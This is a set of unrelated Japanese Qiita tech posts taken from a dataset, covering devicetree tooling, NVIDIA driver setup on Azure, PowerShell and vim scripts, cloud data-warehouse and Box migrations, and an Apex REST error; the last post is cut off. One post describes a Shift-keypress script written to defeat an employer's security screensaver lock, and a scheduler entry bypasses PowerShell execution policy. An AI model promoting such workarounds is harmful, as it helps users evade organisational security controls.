OmniAICreator/Qiita-1.07M huggingface dataset:
nRF Connect SDK:Devicetreeお前どこ行った？

# 今後はsysbuild関連の記事が増えます
とは言っても僕自身も日々試行錯誤でして、なんだかよく分からないささいなことから、「なんかいつの間にか変わってやがる！！！」みたいなものまで気になったことを書き留めておこうと思います。

::: note
使っている人がいなさすぎて役に立つか分かりませんが(笑)
:::

# あれ、なんか……違和感が……
表題にもあるようにsysbuildを触り始めておそらく最初にぶち当たる疑問というか壁ではないかと思います。今まで当たり前のようにそこにあったDevicetreeというActionsが消えているのです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3797041/5cdce632-6cfa-3a64-7d67-6e2028bb94be.png)
メチャクチャ探し回るもそれらしきものは見つけられず、だからと言ってVisual Devicetree Editorを開いてみても何も表示されず……おい、Nordicまたバグってるんじゃねぇのかよともう100回くらいは言った記憶がありますｗｗｗ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3797041/ea34f6f1-e455-6152-c115-0b8b44ca10d5.png)

::: note warn
仮に表示されたとして、オーバーレイファイルを作るメニューどうやって表示するんだ……という問題は残ります。まあ自分でエクスプローラー上で作ればいいんだけどさｗ
:::


# 恒例のDevZone探検ツアー
恒例(？)のDevZoneツアーなのですが、DevZoneのスレッドも玉石混交で検索ワード次第では全然見つからなかったりするんですよね……。在りし日の検索スキルが問われます(笑)。
ということで、スマッシュヒットではないですが似たような質問をしていたスレッドを発見しました。

https://devzone.nordicsemi.com/f/nordic-q-a/115244/actions-disappeared-when-i-changed-my-board-files

なになに……sysbuildではビルドしたモジュールを選択するとDevicetreeのメニューがActionsに表示されるんだ、だって？？？
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3797041/878f255c-6f1d-a60d-b4b8-a2358a077390.png)
ファーーーｗｗｗ
表示された！表示されましたよ！

# ところで
なんでこんな変更入れたんだ……Nordicよ……。
azureのStandard NC40ads H100 v5 (40 vcpu 数、320 GiB メモリ)にNVIDIA driverを入れてみた

azureのStandard NC40ads H100 v5 (40 vcpu 数、320 GiB メモリ)にNVIDIA driverを入れてみたときに```nvidia-smi```コマンドが
> NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.

エラーを返していたときの対処方法を以下に記載します。

# azure protalから仮想マシンを作る
# 仮想マシンにSSH接続をする
# すでに入っているnvidia driverがある場合は削除
```
sudo apt-get --purge remove nvidia-*
sudo apt-get --purge remove cuda-*
```
# nvidia driverのインストール
```
ubuntu-drivers devices
```
* ここでおすすめされているドライバを次のコマンドでインストールします

```
sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt update
sudo apt install nvidia-driver-***
```
* ***には上のコマンドでおすすめされたドライバの数字を入力してください

# 再起動
```
sudo reboot
```

# nvidia-smiで確認
```
nvidia-smi
```
以下のようにGPUの情報が返ってくれば成功です。うまく行かなかった場合、下の手順を実行してください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3964443/378e2c64-8039-ec47-e9f8-03e0bec1df37.png)

# secure bootのステータス確認
```
mokutil --sb-state
```
もし以下のようにセキュアブートがenabledになっている場合は、disableにします
```
SecureBoot enabled
```
# azure portalでdisable secure boot 
azure portal の　VM ページで使用しているVMを選択します。一度停止ボタンを押し、シャットダウンしてください。
設定＞構成＞セキュリティの種類
のセクションに行くとセキュアブートを有効にするというチェックボックスがあるのでチェックボックスを外します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3964443/a205d3be-6972-14b5-fcb3-0fcb884acba9.png)
概要ページに戻り起動を押し、SSH接続でもう一度nvidia-smiを確認すると、成功しました。
1週間の日付取得スクリプト

### 【仕様目的】

週報の際、毎回日付けと曜日を記入するのが面倒臭いため作成
作業効率化、なんなら勤務時間も一緒に表示させて
コピー&ペースト、あとは作業詳細だけ書くようにしたい

### 【ファイル名】

1week.ps1

### 【タイムスケジューラ】

必要なし

### 【進捗】

PowerShell実行で表示確認済、コピーして使う
実行ポリシー関係でエラーが出るが目的は達成してるので、また今度

### 【その他】

メモ帳に残しPowerShellを実行しようとすると実行ポリシーが悪さをしたので
一時的に回避するスクリプトを記入。
またPowerShellを開くとすぐに閉じてしまうため待機させるスクリプトも組み込んだ

ただ課題しか残っていないためこれからもっと良いものを
試行錯誤していく

このスクリプトはChatGPTに書いてもらった
https://chatgpt.com/share/67593e62-73a0-800f-a8e3-3ee7a6213ac6
vimにおけるPrometheusのメトリクスの予測変換

# はじめに
Prometheusでは，アラートをyamlファイルで設定します．
メトリクスの入力が長くて面倒だったので，少しでも楽をするためにメトリクスの予測変換をvimの機能に追加しました．

# 設定の手順
### 設定ファイルの作成
ホームディレクトリに`.vimrc`という設定ファイルを作成します．
```
cdsl@arita-master3:~$ vim ~/.vimrc
```

```vim:~/.vimrc

" 補完関数の定義
" 2回呼び出しが行われる
" 1.補完するテキストの文字列の最初の行を変える
" 2.補完するテキストの候補をリストで返す
function! MyCompleteFunc(findstart, base)

  " findstartが1の場合、補完開始位置を返す
  if a:findstart
    " getline('.')で現在カーソルが置かれている行の文字列を取得
    " col('.')-1で現在カーソルが置かれている行を取得
    " これらを使って，現在カーソルが置かれている文字列の最初の行を返 す
    let moji = getline('.')
    let start = col('.') - 1
    while start > 0 && moji[start - 1] =~ '\w'
      let start -= 1
    endwhile
    return start
  else
  " findstartが1以外の場合、予測変換を実行する

    " APIを呼び出して補完候補を取得
    let api_url = 'http://<ドメイン名>:<ポート番号>/api/v1/label/__name__/values'
    let response = system('curl -s ' . api_url)
    let json_data = json_decode(response)

    " 'data'フィールドから候補を取得
    if has_key(json_data, 'data')
      let candidates = json_data.data
    else
      let candidates = []
    endif

    " baseで始まる候補をリストに追加
    let matches = []
    for candidate in candidates
      if candidate =~ '^' . a:base
        call add(matches, candidate)
      endif
    endfor
    return matches
  endif

endfunction

" 補完関数を設定
set completefunc=MyCompleteFunc

" 補完候補としてユーザー定義の補完を使う
set complete=u

" 補完のオプション
" menuoneで補完候補が1つだけの場合でも補完メニューを表示する
" noselectで補完候補が表示された際に、最初の補完候補を自動的に選択し な いようにする
set completeopt=menuone,noselect

" 補完関数
function! s:auto_cmp_start() abort
  " 既に補完ウィンドウが表示されている場合は何もせず終了
  if pumvisible()
    return
  endif

  " getline('.')で現在カーソルが置かれている行の文字列を取得
  let line = getline('.')
  " expr:で始まる場合
  if line =~ '^\s*expr:'
  " カーソルより左側の範囲を取得し、[:keyword:]を使って補完に使えない記号などを除去
    let prev_str = (slice(getline('.'), 0, charcol('.')-1) .. v:char)
        \ ->substitute('.*[^[:keyword:]]', '', '')

  " カーソル直前の部分（補完元文字列）が最低文字数に満たなければ終了
    if strchars(prev_str) < 1
      return
    endif

  " CtrlX+CtrlUを実行して補完スタート
    call feedkeys("\<c-x>\<c-u>", 'ni')
  endif
endfunction

" 文字を入力時に上記の関数を自動で実行
augroup auto_cmp_start
  autocmd!
  autocmd InsertCharPre * call s:auto_cmp_start()
augroup END
```

`let apiurl = 'http://<ドメイン名>:<ポート番号>/api/v1/label/__name_/values'`は設定したいPrometheusのドメイン名とポート番号を設定してください

### 設定の反映
`~/.vimrc`を保存した後，vimを開く
```
cdsl@arita-master3:~$ vim
```

設定を反映させるためにvimのコマンドモードで再読み込みをする．
```
:source ~/.vimrc
```

# 実行結果
好きなアラート設定ファイルを開く
```
cdsl@arita-master3:~/test$ vi esxi-rule.yaml
```
`expr:`が含まれている行に，インサートモードで文字を入力したらメトリクスの予測変換が出てくる.
`vm`と入力したら，`vmware_datastore_accessible`や`vmware_datastore_capacity_size`と予測変換が出てきた．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3845344/eec14014-1264-3469-29ec-53c9fa5c078a.png)
PHP向けAI 第1弾 ～AIアシスタントを使用してユニットテストを自動化する方法～

本記事はJetBrains公式ブログより引用した内容となります。
[引用元:AI for PHP: How To Automate Unit Testing Using AI Assistant](https://blog.jetbrains.com/phpstorm/2024/02/ai-for-php-how-to-automate-unit-testing-using-ai-assistant/)

テストと聞くと、テストが重要でありながら退屈だ思われる方もいらっしゃるのではないでしょうか。実行しているときにはあまり楽しくないけれども、後で大きな成果をもたらすとわかっているものの一つです。

では、なぜテストはそんなに不快なのでしょうか？

最大の障害は最初のセットアップにかかる手間です。テストが整えば、プロジェクトの進行中に変更や調整を加えるのは楽しく感じることがわかっています。しかし、最初の一歩が私たちを一番悩ませます。

では、その最初のセットアップであるテストの作成が簡素化できたらどうでしょう？テストの大まかなアウトラインを無料で提供してもらい、それを出発点にして必要に応じて調整することができたら？退屈な作業はコンピュータに任せて、楽しい部分に集中できたらどうでしょう？

**ここで、AIが私たちを助けてくれるのです。**

最近、JetBrainsはすべてのIDE、特にPhpStormに強力なツールを導入しました。それがJetBrains AIアシスタントです。この記事では、AIアシスタントを使ってプログラミングの退屈な部分を自動化し、テストのもっと面白い部分に集中できる方法について考えてみたいと思います。

## AIアシスタントでユニットテストの自動化
ユニットテストの生成は、AIアシスタントが私たちを助ける完璧な例です。次のコードスニペットを見てみましょう：
![phpstorm_tutorials_20240214.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936166/f537d879-4874-774f-d49a-f42ef98e5de1.png)

これは「RFC Vote」というオープンソースプロジェクトから取られたコードスニペットです。プロジェクトの完全なソースコードはここで確認できます。このプロジェクトは、PHPコミュニティがオープンなRFCについて議論できる場を提供します。ユーザーは賛否両論を述べ、PHPの進化について議論を行うことができます。

この特定のクラスは、既存の議論にコメントを作成する役割を担っています。コメントはユーザーに属し、議論への参照を持ち、本文を持っています。さらに、コメントが書かれるたびに、その特定の議論をフォローしているすべてのユーザーに通知が送信されるべきです。

ここでは、AIアシスタントを使用してテストのひな型を生成し、どのように機能するかを確認してみましょう。

まず、この`__invoke`メソッドの本文にカーソルを置き、Alt+Enterを押して、コンテキストメニューから「AI Actions | Generate Unit Tests」を選択します。
![phpstorm_tutorials_20240214-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936166/f01c8c50-1cb1-3321-83e4-541ca6ef91dc.png)

AIアシスタントが今、このクラスのテストのドラフトバージョンを作成します。AIアシスタントが完了すると、次のようなドラフトバージョンが表示されます：
![phpstorm_tutorials_20240214-3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936166/dd4b37c4-41d4-b652-35a2-257dfcb86e7d.png)

最も簡単な方法は、「すべて承認(Accept all)」ボタンを押すことです。これにより、適切な場所に新しいテストファイルが作成され、このドラフト実装が実際のテストファイルにコピーされます。ただし、すぐに問題が見つかった場合は、「更新(Refresh)」ボタンを押して、新しい実装を生成することもできます。
![phpstorm_tutorials_20240214-4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936166/6a34d6d7-877f-55c7-6db4-ba0abaa30f3b.png)

かなり便利ですよね？

しかし、少し注意すべき点があります。

まず、すべての生成が最初からうまくいくわけではありません。例えば、いくつかのバージョンでは、Laravelのテストでよく使われる`RefreshDatabase`トレイトが含まれていました。しかし、このプロジェクトではデータベーステストの設定が少し異なるため、生成されたコードに少しだけ調整を加える必要がありました。また、AIアシスタントはコードスタイルに完全に一致しないコードを生成することもあります。コードスタイル設定を考慮しようと努力していますが、細かい部分はうまくいかないことがあります。

いくつかの欠点はありますが、私たちの目標は完璧なテストを生成することではなく、そこから発展させることができるひな型を手に入れることだということを忘れないでください。AIアシスタントは、テストしたいことのコンテキストを理解するのが非常に得意で、多くのことを正しく行ってくれます。これにより時間が節約でき、テストのもっと面白い部分に集中できるようになります。

## Pestの自動化  
2023年は、比較的新しいPestテストフレームワークにとって大きな成長を見せた年でした。PhpStormは、昨年Pestプラグインの開発を引き継ぎました。現在、Pest向けのAIアシスタントサポートは進行中で、次のメジャーバージョンであるPhpStorm 2024.1で利用可能になる予定です。今後のブログ投稿では、PestユーザーがAIアシスタントからどのように恩恵を受けられるかを必ず紹介しますので、お楽しみに。

## 結論
最小限の手作業でユニットテストを自動的にひな型作成できるというのは、かなりすばらしいことですが、微調整が必​​要です。

次の記事では、JetBrains AIアシスタントのテスト生成をどのようにさらに微調整して、もっと時間を節約できるかを詳しく見ていきます。

NATTOSYSTEMでは今後も[JetBrainsブログ](https://blog.jetbrains.com/) の記事を掲載していきますので、フォローして最新記事をお見逃しなく！
複数ページ一括起動

### 【仕様目的】

必ず起動時に開くページをいちいち毎回開くの面倒臭いためスクリプト作成をすることにした

### 【ファイル名】

PageStart.ps1

### 【タイムスケジューラ】

なし、起動時に設定もできると思う

### 【進捗】

ローカル環境作成のため正確な確認はできず
ファイルだと開くことは確認済

これはシンプルだがもう少し凝ったのもあるため
うまく起動しなかったら試してみるのもありかも
マウスカーソルを特定の位置に移動

### 【仕様目的】

管理者権限回避のために作成
単純移動だけなら管理者権限がいらない事が分かった

### 【ファイル名】

mouseSimple.ps1

### 【タイムスケジューラ】

プログラム/スクリプト

powershell.exe

引数の追加

-NoProfile -ExecutionPolicy Bypass -File "mouseSinmle.ps1"

設定

タスクが既に実行中の場合に適用される規則
「新しいインスタンスを並列で実行」を選択
※タスクが被ってると実行されないのがデフォのため

### 【進捗】

スクリプト正常稼働確認済

タイムスケジューラ正常稼働確認済
ただPowerShellがそもそも起動するためマウスカーソル移動で
スクリーンセイバー防止になってるのかは不明

### 【その他】

管理者権限が思った以上に厳しいため管理者権限回避スクリプト前提で作っていった結果。
ただ1つ前の記事にあるShiftを押すだけのシンプルなものに比べてスタイリッシュ性もないし作業に弊害が出るためお蔵入り
PCにはファイルとして残っている
管理者権限なしでスクリーンセイバー防止できたお話

企業側のポリシーで10分毎にスクリーンセイバーが起動してしまうのをなんとかしたかった。セキュリティを考えてってことは良くわかる、けどどうにかしたいという好奇心の方が勝ってしまったのだ。
結論、課題は残るが腑に落ちるものができた。

### 【仕様目的】

スクリーンセイバー防止

### 【ファイル名】

pressShiftKey.vbs

VBSスクリプトでSendKeyオブジェクトを作成
キーストロークを送信したりアプリケーションを起動している
SendKeyメソッドでShiftは+となる

sleep防止.bat

VBSとの組み合わせで動くもの
Shiftキーを押す間隔を秒数で設定（リンクは10秒ごと）
ループの処理や日時を表示するものやVBS呼び出し

### 【タイムスケジューラ】

bat起動のみで設定の必要なし

### 【進捗】

起動確認済

### 【進捗の具体的な内容など】

参考サイトはこちら
https://note.com/enokiko/n/n7579bd4a3dd7

batはWindowsで使用されるバッチファイル（**batch file**）の拡張子。

複数のコマンドを順に実行するスクリプト
MS-DOSやWindowsのコマンドプロンプト（cmd.exe）上で動作
コマンド操作を自動化や繰り返し行うタスクを簡単に実行できるもの

VBSはMicrosoftが開発したスクリプト言語

Windowsの管理やアプリケーション操作を自動化するために使われる
拡張子は .vbs 。今では古くPowerShellに移ってる人が多い

色々触った結果、batのショトカを作成しプロパティから最小化
起動時にコマンドプロンプトの画面がでないようにした

またタスクバー表示を消し腑に落ちるスタイリッシュ化も達成した。

構造はShiftキーを決められた時間毎に押すだけというシンプルなもの。超シンプルなものは管理者権限なしでいけるようだ。
私は10分毎にスクリーンセイバーが起動してしまうので8分毎にShiftキーを押すように設定した。
色々作業してるPCで設定したが個人的には弊害を感じなかった。

管理者権限やタスクバー消して無理矢理見た目スタイリッシュ化していること、もっと綺麗にできなかったかなど課題は残るが今は満足したのでヨシ！
MACを用いてマウスのサイドボタンを使う方法

## Macデフォルトのボタン設定

設定を開いて以下の「デスクトップとDock」を開いて、その下の「ショートカット」を開きます

![%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88_2024-12-06_19.17.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/b7be006e-7c05-ba9c-eb9f-7af608492dff.png)



次に一番下の「デスクトップを表示」から「マウスショートカット」を選び、「マウスボタン３」を選択してみて下さい

![%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88_2024-12-06_19.19.43.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/c9035072-1c58-ccd2-e957-3693d26bfed5.png)


完了を押すと、デスクトップを表示のボタン設定は完了です。ホイールを押すとデスクトップが表示されることを確認しいてください

## Cmd-C Cmd-Vをマウス割り当てる
carabiner elementをダウンロード
https://karabiner-elements.pqrs.org/

launch padから karabiner elementを開く

![%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88_2024-12-06_19.25.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/19f80762-c9a8-2848-653f-b23193241dfe.png)


開いた後に、設定をしろと言われるので、全部ON(3つぐらいONにする内容があります)

次に以下のようにdevice からUSB Optical MouseのModify eventsをON

![%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88_2024-12-06_19.27.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/33c8e0ff-d2da-d8db-d0e0-9dcef797233c.png)


次に、ネットで、下記のコードをクリックし、import
https://ke-complex-modifications.pqrs.org/#mouse_button
![スクリーンショット 2024-12-18 14.34.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/ac27d570-8569-6d31-a157-1a5445be6281.png)

次に下の画像が出るので、一番上のみ「enable」を押す



![%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88_2024-12-06_19.30.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3914074/5fcb961f-dce3-67bc-1681-d5c25841cedd.png)



するとマウスのサイドボタンの上を押すとコピーができて、下を押すとペーストができるようになっている!

## 参考
https://karabiner-elements.pqrs.org/docs/help/how-to/mouse-button/
キャリアブレイク中のライフスタイル見直し③ 運動

# 運動
健康を司る三大要素、睡眠、食事に続き、最後は運動です。健康になるにはどうすれば良いかなんてことは、本来皆分かっていると思います。十分な睡眠と栄養のバランスを考えた食事、そして適度な運動です。ただ分かっていても出来ない。実際、これを実現するのは毎日の事なのでとてもハードルが高いです。特に運動は何十年もやっていない人は多くいると思います。

# 運動のきっかけ
自分が運動を始めたのは、数年前にきっかけがあります。ある時、同い年の友人同士で、不健康自慢をしました。終わったあと、これでは駄目だと誓いましたｗ。極端ですが、それでその年フルマラソンを走りました。結果、健康診断の数値もかなり良くなりました。ただ、フルマラソンは相当厳しかったので、もう今後は止めておこうと思いました。

# 再度フルマラソン
今回キャリブレイクを決断して、再びフルマラソンに出ることにしました。理由は時間も出来るので今までよりもトレーニングしやすいなと思ったことと、目標があった方が定期的な運動につながりやすいと思ったことです。とりあえず最初から無理はせず、出来そうなら完走を目指そうというノリで、特にタイムを縮めようというモチベーションはありません。

# ウォーキングを習った
自由期間に、１回だけウォーキングを習いました。重心とか姿勢とか歩く前に意識するポイントが幾つかあります。最近は歩く時もこれを意識しているし、走る時も少し意識します。意識するとルーティンとまではいかないですが、リセットされる感覚があって、１回だけだけど習ってよかったなと思っています。

# 歩く
強制的なウォーキング、つまり出社がなくなったので、今までよりも歩くことは重視しています。ちょっとした距離では自転車を使うことは止めて30分ぐらいなら歩くようにしています。その時もウォーキングで習った歩き方を意識しているし、速度も少し速くしています。

# 柔軟
マラソンの練習する時は、準備運動と整理運動で、ストレッチをします。以前よりも確実に体が硬くなっているので、特に柔軟を長めにしています。体が硬いと悪い事が多いのもありますが、それにしても固くなるペースの方が早いんじゃないかなと思うぐらい固いままです。

# 筋肉
走った後はプロテインも飲むようにしました。以前走った時は実はあまり感じていなかったですが、今年は体つきが変わってきたのを少しだけ感じています。これを感じられると運動も面白くなるので、筋トレにはまる気持ちもちょっとだけ分かります。でもムキムキにしたい気持ちは正直分からないですw。

# まとめ
という感じで、運動していますが、正直、キャリアブレイク止めたら、運動の優先順位が下がることは間違いないですね。うーん。マラソンまではいかなくても、気軽に続けられる運動を考えた方が良いかなとは思いました。ボチボチ考えます。
【DWH移行】BigQueryからRedshift Serverlessに移行してみた感想

株式会社エアークローゼットでSREをしています、Cutと申します。
Cutは社内ニックネームです :pencil2:

今回は、**データウェアハウス移行**から約1年が経過したので、実際どうだったのかを振り返っていきたいと思います。

当時の課題や現在の状況についても触れるので、移行判断について悩んでいる方の参考になれば幸いです。

:::note warn
この記事では、具体的な移行手順については紹介しません🙏
:::

## そもそもなぜ移行した？
当時、エアークローゼットではGCPのBigQueryを使用していました。
いくつかの記事でも触れられている通り、BigQueryの最大の武器はなんといってもそのスピードです。膨大なデータからでも数秒で取得ができるため、ノンストレスで使用できます。

しかし、エアークローゼットにとっては「**コスト**」が大きすぎるネックでした :money_with_wings: 


そもそもエアークローゼットでは、SQLの実行ログを集積するためにデータウェアハウスを使用しており、「オペレーション業務における調査手段の一つ」としての用途がメインでした。


用途が用途であるため、本来はそこまで多額の請求が発生することはないのですが、クエリのミスや操作ミスによって、とんでもない範囲のデータを検索してしまい、莫大なクエリ費用を発生させてしまう事件が稀に起こり、一つの課題になっていました。

※ この記事を書くにあたって「BigQuery 事故」で軽く調べましたが、同様のケースはやはりあるようです... :cry: 

https://qiita.com/itkr/items/745d54c781badc148bb9

https://zenn.dev/sunlight/articles/5a1ca0ec77bfc9

## なぜRedshift Serverlessを選択した？
エアークローゼットではリソースの多くをAWSに集約しているため、まず候補に上がったのがAWSのDWHサービスであるRedshiftでした。

元々はRedshiftの存在しか知りませんでしたが、AWSの担当者様とお話しする中でRedshift Serverlessの存在を知りました (当時はまだ正式リリースから半年だったようです)。

用途ともマッチしており、コスト調査の結果、削減が見込めそうだったため、移行する運びとなりました。

https://aws.amazon.com/jp/redshift/redshift-serverless/

## 移行から1年経過して見えたメリット・デメリット
### メリット
#### ①コスト削減効果
これは狙い通り、コストを削減することができました。
RedshiftServerlessの強みである「実行時間あたりの課金」は、DHW上でクエリを1日数回程度しか実行しないエアークローゼットにとってかなりのコストメリットをもたらしています。

もちろんクエリの実行コストは低下しましたが、同時に「転送料の削減」も嬉しいポイントでした。

元々はCloudWatchからSubscriptionFilterでLambdaを経由し、GCPのPub/Sub、CloudDataflowからBigQueryへとデータを送る流れだったため、AWS→GCPのデータ転送料が地味に痛かったのですが、AWS内に閉じたことでデータ転送料をバッサリとカットすることができました。

#### ②心理的安全性の確保
移行の理由で紹介した通り、BigQueryにはミスによる暴発のリスクがあったため、使用するエンジニアは怯える子猫のように、かなりの注意を払ってBigQueryを使用していました。

Redshift Serverlessに移行してからは、過度に心配することなく使用することができています(万が一の事態に備え、CloudWatchで使用料をモニタリングし、アラートを飛ばす設定もしています)。

本質的ではない部分で神経をすり減らす機会が減ったのは、とても嬉しいポイントでした。

### デメリット
#### ①スピード
想定してはいましたが、やはりスピード面ではBigQueryに大きく劣ってしまうのが現状です。
特に初回の実行は、クエリによっては結果が時間内に返ってこないこともしばしば。
2回目以降の実行ではさほど遅さを感じないものの、頻繁に使用するようなユースケースであればストレスを感じるかもしれません。

## まとめ
ユースケースによっては、BigQueryからRedshiftに移行することで大きなコストメリットを得られる場合があります。
AWSの資料でも紹介されている通りですが、クエリが実行されていない時間が長いような環境では、特にその効果を発揮してくれると感じています。

https://pages.awscloud.com/rs/112-TZM-766/images/20220728_20th_ISV_DiveDeepSeminar_Redshift_Serverless.pdf

最後までご覧いただきありがとうございました。
cscの作法 その544

# 概要
cscの作法、調べてみた。
練習問題やってみた。

# 練習問題
win32apiのAllocConsoleを使え。

# 参考にしたページ

https://qiita.com/noobow/items/96f3671b524560f7daeb

# サンプルコード

```

using System;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace WinFormsApp1
{
	internal static class Program {
		[DllImport("kernel32.dll")]
		private static extern bool AllocConsole();
		[STAThread]
		static void Main() {
			MessageBox.Show("hogehoge");
			AllocConsole();
			Console.WriteLine("hogehoge");
		}
	}
}



```

以上。
Boxへのデータ移行における検討項目

# １．本ページの概要
Box利用にあたり、ファイルサーバやクラウドストレージからデータをBoxに移動して、Box上で社内データの一元管理を行い、セキュリティの向上や、業務効率性の向上を目指すケースが増えてきています。
本ページでは、Box Consulting松浦より、Boxへのデータ移行時にどのような考え方が必要になるか、説明させていただきます。

なお、Box社では、データ移行を行うツールとして、Box Shuttleという製品を提供しています。
契約ライセンスによりデフォルトで利用できる移行データ量は決まっていますが、最低10T/年は無償で利用可能になっていますので、こちらの製品の利用方法は以下サイトからご確認ください
https://support.box.com/hc/ja/sections/21356760348691-Box-Shuttle


# ２．データ移行では何をするのか？
データ移行を行うにあたり、純粋にデータを移す作業だけではない事が、データ移行の難しい所です。
部門で使っているファイルサーバは、常時データが更新されたり、アクセス権も複雑になっていたり、フォルダもエンドユーザーが自由に使っているので、影響が少ないタイミングで切り替えをする必要があるなど複雑な要素が絡み合ってきます。

データ移行の実現に向けては、事前準備やスケジュール作成、社内アナウンス等を行い、社内にしっかりと浸透させた上で、進めていく事が必要となります。

今回は大枠として、どのような作業が必要になるかを紹介します。

## ２－１　データ移行の準備
![スライド13.TIF](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3622775/506df0da-e1d3-c5bb-ce0b-63067b63a321.tiff)

データ移行準備では、移行方針を決定するフェーズになります。
移行をリードする部門の中で移行にあたり必要なポイントをまとめていきます。（詳細は挿絵をご確認ください）

例えば、
・データ移行の方式として、差分移行を行い、エンドユーザーの影響を最小限にして移行する
・移行先フォルダはこれまでの構成のまま進めるのか？Boxにあった形へ修正するのか？
・アクセス権がBoxとファイルサーバでは考え方が異なるので、Box上でどのように権限をつけるか
など設計前に決めておく項目は多々あります。

これまでの事例では約1.5ヵ月程度かけて方針を決めていく事が多いフェーズになります。

## ２－２　データ移行計画
![スライド15.TIF](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3622775/fc69e1b5-a50b-d516-13e5-e91ede0408b3.tiff)

データ移行のジョブ設計や、詳細スケジュール、移行手順を決定するフェーズになります。
Boxへ実際にデータ移行テストを行い、速度測定を実行したり、
移行準備で決めた移行元、移行先に対してどのようなジョブで設計を行います。

例えば、データ移行テストでは100G程度の塊で実際にデータ移行を行い、現実的な速度を確認したり、処理上のボトルネックとなるポイントを確認したりします。
よくやるパターンとしては、ファイル数が多いパターンと少ないパターンのテストデータを同じサイズで容易し、どのくらい違いが出るかを確認します。

※注意点：
Boxへのアップロードは１ユーザにつき4Files/secとなっているため、ファイルが多い場合に速度が出ない場面は多々あります。その場合は、移行できるユーザ（所有者）を移行先で分けて移動するなどの工夫が必要になります。

データ移行スケジュールについては、当日作業の手順まで準備を行う必要があり、データのみShuttleで移動した場合、Box上での権限設定は、移行完了後にBox上で行う必要があるため、移行時間に作業も含めて調整が必要になります。

また、スケジュール作成が完了するフェーズでもあるので、これまでの方針も含めてユーザ説明会を行い社内周知等も行います。

## ２－３　データ移行実施
![データ移行紹介資料rev1.tif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3622775/d2655d2e-8476-21af-f459-a70188066cb9.tiff)


データ移行の実施フェーズは、ジョブの実行やユーザへの利用開始アナウンスを行うフェーズになりますので、基本的にはデータ移行計画までに作成した手順やスケジュールに沿って実行となります。
そのため、その場で方針を決める事はないですが、エラーハンドリングや想定外への対処が中心となります。


# ３．まとめ
ここまで大枠ではありますが、データ移行時のポイントを紹介させていただきましたが、いかがでしたでしょうか？

データ移行を行う上では、今回紹介した内容以外にも検討事項があり、ある程度リソースが発生する作業となりますので、ご注意いただければと思います。

Box Consultingでは、過去のデータ移行ノウハウを持ったうえでお客様を支援する「計画策定支援サービス」やデータ移行時のQA対応を受け付ける「技術QAサービス」を準備しておりますので、もしもデータ移行でお困りの場合はお声がけいただければと思います。
Apex REST でのエラー(入力に使うJsonの設定とクラスの定義)


Apex Restを作っていてJson の値をポストした時のエラーです。

```Json
{
  "subject" : "Wingo Ducks",
  "Description" : "707-555-1234",
  "TaskSubtype" : "Task",
  "OwnerName" : "Wingo Ducks",
  "Status" : "Completed",
  "Date ActivityDate" : "2024-12-18",
  "supplier_code" : "10005"
  "customer_code" : null,
}
```

400エラーですね

:::note alert
[{"message":"Unexpected parameter encountered during deserialization: subject at [line:3, column:16]","errorCode":"JSON_PARSER_ERROR"}]
:::

以下の例をみると... icって定義がありますね。
https://developer.salesforce.com/docs/atlas.ja-jp.apexcode.meta/apexcode/apex_rest_methods.htm

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/7c40d512-bd7c-6a87-b65b-b2aafbfe9ffc.png)

もしかして、calss名を追加する？

```Json
{
Body053 :{
  "subject" : "Wingo Ducks",
  "Description" : "707-555-1234",
  "TaskSubtype" : "Task",
  "OwnerName" : "Wingo Ducks",
  "Status" : "Completed",
  "Date ActivityDate" : "2024-12-18",
  "supplier_code" : "10005"
  "customer_code" : null,
}
}
```

エラーは変わらずです。
もしかしてb53aの変数と一緒にしないといけないのかな？

```Java
    @HttpPost
    global static string doPost(Body053 b53a){
        system.debug(Logginglevel.INFO,'==========> '+ b53a);
```

```Json
{
b53a :{
  "subject" : "Wingo Ducks",
  "Description" : "707-555-1234",
  "TaskSubtype" : "Task",
  "OwnerName" : "Wingo Ducks",
  "Status" : "Completed",
  "Date ActivityDate" : "2024-12-18",
  "supplier_code" : "10005"
  "customer_code" : null,
}
}
```

エラーが変わりました。あっ、日付型のところの項目名がおかしい

:::note alert
[{"message":"Unknown field: CreateTaskRESTAPI.Body053.Date ActivityDate at [line:8, column:26]","errorCode":"JSON_PARSER_ERROR"}]
:::

"Date ActivityDate"　--> "ActivityDate" に変更

:::note alert
